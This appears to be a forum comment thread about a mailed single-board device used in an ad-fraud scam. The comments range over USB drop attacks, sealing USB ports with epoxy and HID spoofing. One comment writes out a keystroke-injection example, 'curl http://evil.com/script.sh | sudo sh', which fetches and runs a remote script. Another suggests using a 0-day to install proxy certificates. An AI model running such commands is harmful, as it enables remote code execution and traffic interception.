Yes, but browsers give huge warnings about password fields on non-SSL sites. Password in the clear won't happen with any major website.

There's a little "not secure" at the top in Chrome, something most users will simply ignore.

Not so little when the user is also typing into a password field

If someone would ship this to our office with a note like "attach this to a LAN port" chances are it will get attached. And we're a software house. People tend to pay attention to viruses, etc.. but not physical security.

At a previous employer (Fortune 500, not a software co.) the IT security team would sometimes seed the parking lots with thumb drives that were "infected" with a program that would phone home to them if plugged into a PC on the corporate network. IIRC there was a depressingly high (> 50%) rate of them being plugged in.

I was at a financial software firm that dealt with USB security issues by filling the USB sockets with epoxy. The keyboard and mouse could not be removed from their USB sockets as they were held in place with a metal collar bolted to the case.

Simple and effective, although it destroyed any resale value of the PCs.

That is 10x more informative.

It's also three (!) years old, which is crazy to think someone has been mailing these out and running the same scam on FB without getting caught, particularly from 2016 on, with the scrutiny placed on FB's illegitimate political ads

Surely it would be fairly easy for FB to fingerprint the "browser" running on these device and see that it isn't a regular user? At the very least get them to jump through some hoops or enter a CAPTCHA or something?

The board is Nano Pi NEO. It costs $15 and contains quad-core Cortex A7 along with two USB (2.0) ports and 100 Mbit Ethernet. It is about 25% of size of RaspberryPi.

By the way, the same Chinese company now offers a much more powerful board called Nano Pi M4 which is just a bomb with respect to RaspberryPi B+ if you look at its specifications.

How is that even possible? How does it capture keystrokes (unless you mean Google searches where each key is sent for autocomplete). How does it break SSL?

It's probably not this attack but any WiFi device can probably be used to key log you. https://threatpost.com/keystroke-recognition-uses-wi-fi-sign...

This is legitimately astonishing.

you still have to install the proxy certs

Pick your favorite windows 0-day and use it to only install a cert and nothing else that would tip off AV software.

You don't even need 0-days, as most users hate updates and try to disable them, every single time.

This is how stuxnet got into the Natanz facility I think. They left a usb stick in the parking lot. Someone picked it up, plugged it in.

If you lack physical access to the parking lot, the classy way to launch your cyber attack is by miniature trebuchet.

How is that better than epoxy squirted into all unused ports of your existing computers while also distributing fast charging USB wall warts across the office like confetti? Even the good ones are relatively cheap, especially if bought in bulk. Relative to the cost of a desktop computer they're practically free. (I'm genuinely surprised that the standard DELL and HP corporate workstation doesn't have its front USB po…

How do you know the wall wart is not a fake one?

I noticed that with my mobile wifi (Huawei) which I generally leave plugged in, when my friend plugged in her Windows 10 tablet to the same power outlet (2 sockets), it suddenly noticed it as a new USB device. I don't ever plug anything in there except a charger for my bike light so had never noticed but I don't know if it has an autorun to install drivers they often do. Obviously the data wires are joined there..

Which is totally redundant because that can be done on operating system level, but hey, bottled water is a huge industry too.

Epoxy can't break with a security update

you could warm it up and pick it out when soft though

So these IT genuises at a Fortune 500 company were clever enough to test their employees' computer security acumen (and get the predicted result) but they weren't clever enough to simply block all use of USB mass storage devices on their corporate operating system distribution? Surely by now all corporate desktops should be configured to not respond to any USB devices other than the generic HID for mouse and keyboard…

Don't believe generic hid is safe either. You could make a device that pretends it's a keyboard and automatically inputs win+r curl http://evil.com/script.sh | sudo sh sleep alt+y. Sorry for mixing windows and Linux but conceptually something like this should work on windows if you don't require password in your UAC prompts.

I wonder if a big (Fortune 500) company could get HID devices which were customised so that only company owned devices could be plugged in.. it shouldn't be that hard to design such a device that would show up as a custom device then the installed driver would poke it in a crypto shielded way and it then provides the keyboard/mouse inputs. It can't simply do the standard 'detach and reattach as a HID' because otherwise then a HID would work..

Hm, perhaps.. is anything like that available already?
